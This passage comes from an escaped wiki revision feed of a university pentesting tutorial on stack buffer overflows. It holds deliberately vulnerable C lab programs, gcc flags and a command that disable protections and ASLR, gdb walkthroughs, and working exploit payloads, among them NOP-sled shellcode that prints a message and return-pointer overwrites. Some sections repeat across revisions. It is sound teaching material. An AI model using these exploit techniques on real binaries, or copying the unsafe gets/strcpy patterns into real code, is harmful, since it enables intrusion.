continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17007</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17007"/>
		<updated>2024-12-11T18:13:26Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17006</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
